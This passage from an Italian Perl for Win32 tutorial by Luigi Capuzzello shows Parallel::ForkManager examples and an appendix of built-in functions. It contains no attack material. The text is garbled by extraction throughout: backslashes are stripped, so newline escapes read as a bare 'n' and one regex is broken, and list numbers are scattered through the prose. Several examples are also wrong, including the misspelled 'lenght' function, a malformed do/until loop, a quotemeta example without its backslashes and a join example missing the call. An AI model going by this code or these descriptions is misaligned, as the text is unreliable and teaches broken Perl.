"start" method, it is not called in "wait_all_children". No parameters are passed to the $code. EXAMPLE: Parallel get This small example can be used to get URLs in parallel. use Parallel::ForkManager; use LWP::Simple; my $pm=new Parallel::ForkManager(10); for my $link (@ARGV) { $pm->start and next; my ($fn)= $link =~ /^.*/(.*?)$/; if (!$fn) { warn "Cannot determine filename from $fnn"; } else { $0.=" ".$fn; print "Getting $fn from $linkn"; my $rc=getstore($link,$fn); print "$link downloaded. response code: $rcn"; }; $pm->finish; }; Luigi Capuzzello
  • 36. Guida al Perl per Win3236 Callbacks Example of a program using callbacks to get child exit codes: use strict; use Parallel::ForkManager; my $max_procs = 5; my @names = qw( Fred Jim Lily Steve Jessica Bob Dave Christine Rico Sara ); # hash to resolve PID's back to child specific information my $pm = new Parallel::ForkManager($max_procs); # Setup a callback for when a child finishes up so we can # get it's exit code $pm->run_on_finish( sub { my ($pid, $exit_code, $ident) = @_; print "** $ident just got out of the pool ". "with PID $pid and exit code: $exit_coden"; } ); $pm->run_on_start( sub { my ($pid,$ident)=@_; print "** $ident started, pid: $pidn"; } ); $pm->run_on_wait( sub { print "** Have to wait for one children ...n" } ); foreach my $child ( 0 .. $#names ) { my $pid = $pm->start($names[$child]) and next; # This code is the child process print "This is $names[$child], Child number $childn"; sleep ( 2 * $child ); print "$names[$child], Child $child is about to get out...n"; sleep 1; $pm->finish($child); # pass an exit code to finish } print "Waiting for Children...n"; $pm->wait_all_children; print "Everybody is out of the pool!n"; BUGS AND LIMITATIONS Do not use Parallel::ForkManager with fork and wait. Do not use more than one copy of Parallel::ForkManager in one process! Luigi Capuzzello
  • 37. Guida al Perl per Win3237 Appendice A. Elenco delle funzioni Le cosiddette "builtin functions" sono i normali 'comandi' del perl, che accettano argomenti, fanno qualcosa a livello degli argomenti o di sistema, e danno in ritorno dei valori. Per informazioni più dettagliate, si veda "man perlfunc". Molte funzioni non hanno bisogno di argomenti tra (), ma nelle operazioni più complicate le parentesi tonde sono necessarie per chiarire cosa è riferito a cosa. Tipicamente, quindi, le () si evitano nelle linee più semplici, come print $bleah; , ma devono essere incluse quando c'è più di una funzione che viene invocata nella stessa dichiarazione. Le dichiarazioni in perl terminano sempre con il segno ; Funzioni (in ordine alfabetico): 1. atan2 Funzione matematica: restituisce l'arcotangente di un valore. La si può anche trovare con sub tan { sin($_[0]) / cos($_[0]) } 2. binmode Apre un file in modalità binaria; deve essere invocato dopo il comando open (che apre il file): 3. open (FILE, file.bin); binmode FILE; chdir Cambia la directory di lavoro con quella indicata come argomento della funzione 4. chdir ($HOME) or die "You're homeless!n"; chmod Accetta come argomenti un numero e una lista di file, e setta il permesso su quei file in funzione del numero assegnato. Il numero deve essere espresso in notazione ottale. Il valore di uscita è false se è 0 o '', true in qualsiasi altro caso: chmod 0644, "README", "INSTALL"; 5. @list = ( "abc", "def", "ghi") chmod 755, @list; chop Prende come argomento uno scalare, ed elimina l'ultimo carattere, restituendolo. Spesso è utilizzato per eliminare il carattere n dai file e dagli input da tastiera. $a = "scalare"; $b = chop($a); Nella maggior parte dei casi, non ci interessa il valore restituito, quindi basta semplicemente dare: chop $a; oppure solamente: chop; 6. che opera con $_ . Si noti che, ai nostri fini, chomp è equivalente a chop. chown Analogo al comando chown dei sistemi Unix: cambia il proprietario di uno o più file. I primi 2 argomenti che si devono passare a questa funzione sono l'uid (user id) ed il gid (group id) numerici, poi il file o i file da sottoporre alla funzione. In generale, la sintassi è: chown $uid, $gid, @filenames; oppure 7. 8. chown $uid, $gid, 'file1', 'file2' ...... ; cos Funzione matematica. Restituisce il coseno del parametro (espresso in radianti) passato alla funzione. Se si omette il parametro, cos opera su $_ do Esegue un blocco di comandi e restituisce il valore dell'ultima espressione presa in considerazione. La sintassi è: do BLOCCO; Un'utile implementazione di "do" può essere quella di ripetere una porzione dicodice finchè una certa condizione sia verificata. Vediamo come: do { print "Scegli 1 o 2n"; chop($sel=<STDIN>); until " 1 2 " =~ / $sel /; if ($sel == '1') { print "Hai scelto 1n"; } elsif ($sel == '2') { print "Hai scelto 2n"; } Luigi Capuzzello
  • 38. Guida al Perl per Win3238 9. In pratica, questo script visualizza "hai scelto 1" o "hai scelto 2" a seconda del tasto premuto dall'utente, a meno che questi abbia premuto qualsiasi altro tasto: in questo caso, lo script si disinteressa del tasto premuto e continua a visualizzare "Scegli 1 o 2". A cosa può servire tutto questo? Semplice: togliete da questo script le prime quattro linee e premete "3" quando vi viene chiesto di scegliere 1 o 2: lo script si blocca ed esce: non succede niente di male, sia chiaro, ma se avete uno script di qualche centinaio di righe che si blocca per una simile piccolezza, la cosa può dare fastidio. die Prende come argomento una stringa ed esce immediatamente dal programma visualizzando tale stringa come messaggio d'errore. if ($num != 18) { die "Non è 18n"; } 10. eval Prende un'espressione come argomento e la esegue come fosse un piccolo programma. Se non viene indicato alcu argomento, eval valuta $_ . Eval restituisce il valore dell'ultima espressione considerata, ma si può ricorrere a return per restituire il valore ad un determinato punto del blocco. Nel seguente esempio si vede come è possibile eseguire la stessa operazione con do e con eval: do 'script.pl'; eval `cat script.pl`; Attenzione agli apici inversi: ' questo è un apostrofo ` questo è l'apice inverso 11. exec Esce dallo script Perl eseguendo un altro progrmamma. Normalmente, exec non rientra in perl, ma se anche dovesse farlo, restituisce il valore falso, controllando cos'è successo tramite l'analisi di $! . Se si volesse ritornare all'interno dello script, è consigliato utilizzare la funzione system 12. exit Prende un numero come argomento, ed esce con quel numero come codice di stato. exit 0; per uscire con successo exit 1; o qualsiasi valore diverso da 0 esce senza successo. La differenza con die è che die viene utilizzato nei casi tipo "questo non sarebbe dovuto succedere". 13. exp Funzione matematica. Calcola il valore di e elevato al parametro fornito con exp: in mancanza di questo, agisce su $_ 14. getpgrp Utilizzato con la sintassi 'getpgrp PID' restituisce i/l processo/i appartenente/i al PID specificato. Se si utilizza questa funzione su sistemi che non implementano la chiamata getgpgrp (si veda man getpgrp), produce un errore irreversibile. 15. goto Sintassi: goto label: ricerca la riga contrassegnata da label e riprende l'esecuzione da essa. La sintassi può anche essere goto expr oppure goto &name (si veda la manpage per ulteriori approfondimenti) 16. grep Esegue la stessa cosa del comando 'grep' nei sistemi Unix. In pratica, ricerca una stringa e restituisce gli elementi per i quali l'espressione risulta vera. Si veda la solita man perlfunc e man perl (nei sistemi Unix) 17. join Prende una stringa ed una lista di valori di uno o più array, e produce una stringa ottenuta con tutti i valori dell'array, usando la stringa come separatore. $bah = (":", "eek", "niente", 34); $bah diventa "eek:niente:34" @array = ("uff", "abc", "foo"); print (join(" ", @array, "eek"), "n"); visualizza "uff abc foo eek" 18. keys Restituisce una lista costituita da tutte le chiavi dell'hash indicato: $bla{'eek'} = "*pat*"; $bla{'uff'} = "erp"; @thekeys = keys(%bla); @thekeys è ("eek", "uff") print (join(" ", keys(%bla)), "n";); visualizza "eek uff" 19. kill Invia un segnale ad un processo. La si può utilizzare come kill 'STOP' processo; per i segnali, is veda man 7 signal. 20. last interrompe l'esecuzione il ciclo in questione (simile al BREAK del C). Se non viene specificato il ciclo, last is riferisce al più interno. LINE: while <STDIN> { last LINE if /^$/; esce quando ha terminato con gli headers ....... Luigi Capuzzello
  • 39. Guida al Perl per Win3239 il resto del ciclo } 21. lenght Prende una stringa e restituisce la sua lunghezza $n = "blip"; $l = $lenght($n); $l è 4 print (lenght(34), "n"); restituisce 2 22. link Crea un link al file specificato, con la sintassi uguale a quella dei sistemi Unix: link OLDFILE, NEWFILE 23. local Modifica le variabili elencate in modo da diventare locali limitatamente al blocco corrente. Se in lista ci sono più variabili, queste devono essere racchiuse tra parentesi. In alternativa a local, si può utilizzare anche my. local $variabile; dichiara $variabile locale local (@array, %hash); dichiara la lista di variabili locali local $var = "valore"; dichiara $var locale e le assegna un valore Per una trattazione più completa, si veda la sezione 'Temporary Values via local()' in man perlsub. 24. log Funzione matematica: restituisce il logaritmo in base e dell'argomento passato alla funzione (o, come sempre, agisce su $_ ) 25. mkdir Crea una directory, di cui il primo elemento è il nome, il secondo i permessi su di essa: mkdir "files", 0755; o meglio: if (!mkdir("files", 0755)) { die "failed to create directoryn"; } 26. my Dichiara che le variabili considerate sono locali rispetto al blocco che le contiene, alla subroutine o al file corrente; se vengno specificate più variabili, queste devono essere racchiuse tra parentesi. A differenza delle variabili create con 'local', queste rendono completamente 'invisibili' le variabili globali con lo stesso nome. Per informazioni più dettagliate, si veda Private Variables via my() in man perlsub 27. next Analogo all'istruzione CONTINUE del C, permette di passare direttamente l'interazione del ciclo contrassegnata da dall'etichetta LABEL 28. 29. 30. 31. 32. 33. 34. 35. LINE: while (<STDIN>) { next LINE if /^#/; altro } oct Interpreta l'argomento passato come parametro della funzione come un valore ottale e lo restituisce in valore decimale open Apre il file indicato come argomento della funzione. Il file può essere aperto in diversi modi: con < viene aperto in lettura con >> viene aperto in scrittura con >> il contenuto non viene sovrascritto, ma i nuovi dati vengono aggiunti in coda al file con + davanti a < o > per indicare che il file deve essere aperto in lettura e scrittura se inizia con | , viene visto come un comando a cui l'output viene passato se termina con | , viene visto come un comando da cui viene prelevato l'input open /usr/src/linux/README Apre il file open log >> /tmp/log Apre il file log e ne passa il contenuto a /tmp/log, senza sovrascriverlo open <file; Apre il file per la modifica open(FILE, "<miofile;"); Come sopra, solo che poi sarà possibile agire su FILE 36. pop Estrae e restituisce l'ultimo valore di un array riducendone di 1 le dimensioni. Se l'array è vuoto, restituisce '' Luigi Capuzzello
  • 40. Guida al Perl per Win3240 37. print Stampa una stringa o una lista di stringhe. Restituisce 1 se eseguito con successo, 0 altrimenti print "Hello worldn"; quante volte vedrete questo esempio! $bla = 3 print "Il valore di 'bla' è $blan"; visualizza "il risultato di 'bla è 3" 38. push Aggiunge uno o più elementi in coda all'array ampliandone la lunghezza @bla = ("a"); $arr = "xterm"; push(@bla, "eek", $arr, 12.5) @bla risulta ( "a","eek", $arr, 12.5); 39. quotemeta Restituisce una variante dell'argomentoin cui gli eventuali metacaratteri sono resi con l'aggiunta del carattere backslash ( ) quotemeta ".*" restituisce ".*" rand La funzione random. Passando un argomento numerico alla funzione, questa restituirà un valore casuale compreso tra 0 e il numero indicato. Se non è fornito alcun argomento, restituirà un valore compreso tra 0 e 1, estremi inclusi 40. readlink Passandogli un link come argomento, la funzione restituisce il nome del file ( o directory) a cui quel file punta 41. rename Rinomina un file: restituisce 1 se l'operazione è stata svolta con successo, 0 in caso contrario 42. rmdir Rimuove la directory indicata come argomento della funzione rmdir "temp_dir"; 43. shift Estrae il primo valore dell'array e lo restituisce, accorciando di 1 la lunghezza dell'array e facendo slittare i restanti elementi. In un certo senso, è l'opposto di push. Se l'array è vuoto, lo lascia vuoto e restituisce un valore "undef". @bla = ("a", "xterm", 12.5); 44. 45. 46. 47. 48. $v = shift @bla; # @bla è ("xterm", 12.5) e $v è "a" sin Funzione matematica: restituisce il seno di un determinato valore sleep Aspetta il numero di secondi indicati come argomento della funzione. split Cerca particolari sequenze di caratteri e scompone la stringa in una serie di sottostringhe, restituendo la lista generata (in contesto scalare) o il numero di sottostringhe generate. Verrà meglio spiegato più avanti, dopo le spiegazioni sulle espressioni regolari. sqrt Funzione matematica: calcola la radice quadrata. symlink Crea un link simbolico. La sintassi è: symlink OLDFILE, NEWFILE Nei sistemi che non prevedono i link simbolici, la funzione uscirà con un errore. In questo caso si veda la funzione link(). 49. system Esegue un programma. E' simile a exec, ma dopo la fine dell'esecuzione del programma ritorna invece di uscire. system ("comando", "istruzioni") 50. undef Prende il nome di una variabile e la imposta come indefinita. Senza argomenti, restituisce un valore indefinito. Undef non restituisce mai '' o 0. undef %bla; si sbarazza dell'hash %bla undef $eek; si sbarazza dello scalare $eek $eek = undef; come sopra 51. unlink Cancella un file o una lista di file. unlink "tempfile"; unlink "tempfile", "altrifile"; 52. unshift Aggiunge una lista di elementi in testa all'array e restituisce il numero di elementi. @bla = ("a", "b"); Luigi Capuzzello
  • 41. Guida al Perl per Win3241 $arr = "xterm"; unshift(@bla, "eek", $arr, 12.5); # @bla è ("eek", "xterm", 12.5, 53. warn Emette un 'warning' nel canale STDERR, come fa die ma senza uscire. warn "debugger enebled" if $debug; 54. <> Legge una riga da STDIN e la restituisce. $_ = <>; legge una linea in $_ chop; esegue chop su n print "Hai scritto '$_'n"; visualizza l'output, ovvero quello che si è digitato preceduto da "Hai scritto" Luigi Capuzzello
  • 42. Guida al Perl per Win3242 Appendice A. Elenco delle funzioni per argomento. Funzioni aritmetiche abs(espr) valore assoluto dell'espressione cos(espr) coseno trigonometrico dell'espressione exp(espr) esponenziale (e elevato a espr) int(espr) valore intero log(espr) logaritmo naturale (in base e) di espr rand(espr) valore casuale (non intero) tra 0 ed espr sin(espr) seno trigonometrico di espr sqrt(espr) radice quadrata di espr Funzioni di conversione chr(espr) restituisce il carattere rappresentato dal valore decimale espr hex(espr) valore decimale del numero esadecimale espr oct(espr) valore decimale del numero ottale espr Luigi Capuzzello
  • 43. Guida al Perl per Win3243 ord(espr) codice ASCII del primo carattere di espr Funzioni su stringhe chop(lista) rimuove l'ultimo carattere da ogni elemento della lista eval(espr) valuta l'espressione Perl espr index(str, substr) posizione di substr all'interno della stringa str length(espr) lunghezza della stringa espr lc(espr) restituisce espr in caratteri minuscoli rindex(str,substr) posizione dell'ultima occorrenza di substr nella stringa str substr(espr,offset,len) estrae una sottostringa di lunghezza len dalla stringa espr a partire dal di posizione offset uc(espr) restituisce espr in caratteri maiuscoli Funzioni su array e liste delete($array{chiave}) elimina l'elemento dall'array associativo exists($array{chiave}) verifica se l'elemento dell'array associativo esiste Luigi Capuzzello carattere
  • 44. Guida al Perl per Win3244 grep(espr,lista) restituisce gli elementi della lista per i quali l'espressione espr ha valore vero join(espr,lista) concatena gli elementi della lista separandoli mediante la stringa espr; una stringa con gli elementi concatenati restituisce keys(%array) restituisce una lista con le chiavi dell'array associativo pop(@array) restituisce l'ultimo elemento dell'array e lo elimina dall'array stesso push(@array,lista) inserisce gli elementi della lista alla fine dell'array reverse(lista) restituisce la lista in ordine inverso shift(@array) restituisce il primo elemento della lista e lo elimina dall'array sort(lista) ordina gli elementi della lista e restituisce una lista ordinata splice(@array,offset,length,lista) rimuove gli elementi dell'array a partire da offset per length elementi e li rimpiazza con gli elementi della lista; restituisce gli elementi rimossi split(pattern,espr) restituisce una lista di elementi generati dividendo la stringa espr in volta che viene incontrata la sottostringa pattern unshift(@array,lista) inserisce gli elementi della lista in testa all'array values(%array) restituisce un array con i valori degli elementi dell'array associativo Luigi Capuzzello elementi ogni
  • 45. Guida al Perl per Win3245 Funzioni su file e directory chmod(modo,lista) cambia i permessi sui file specificati nella lista chown(user,group,lista) cambia il proprietario ed il gruppo dei file specificati nella lista mkdir(dir,modo) crea la directory dir con i permessi specificati in modo truncate(file,dim) tronca il file alla dimensione dim rename(vecchio,nuovo) cambia il nome di un file rmdir(dir) elimina la directory dir unlink(lista) cancella dal filesystem i file specificati nella lista Funzioni di Input/Output close(filehandle) chiude il file eof(filehandle) restituisce vero se il file è terminato, falso altrimenti getc(filehandle) restituisce il successivo carattere letto dal file open(filehandle,file) apre il file e gli associa il nome logico filehandle print filehandle lista Luigi Capuzzello
  • 46. Guida al Perl per Win3246 scrive su file read(filehandle, $var,$n$,offset) legge n byte dal file a partire dalla posizione offset e li memorizza in $var seek(filehandle,posizione) posiziona il puntatore all'interno del file sprintf formato,lista restituisce lista in una stringa formattata in base al formato tell(filehandle) restituisce la posizione del puntatore all'interno del file Luigi Capuzzello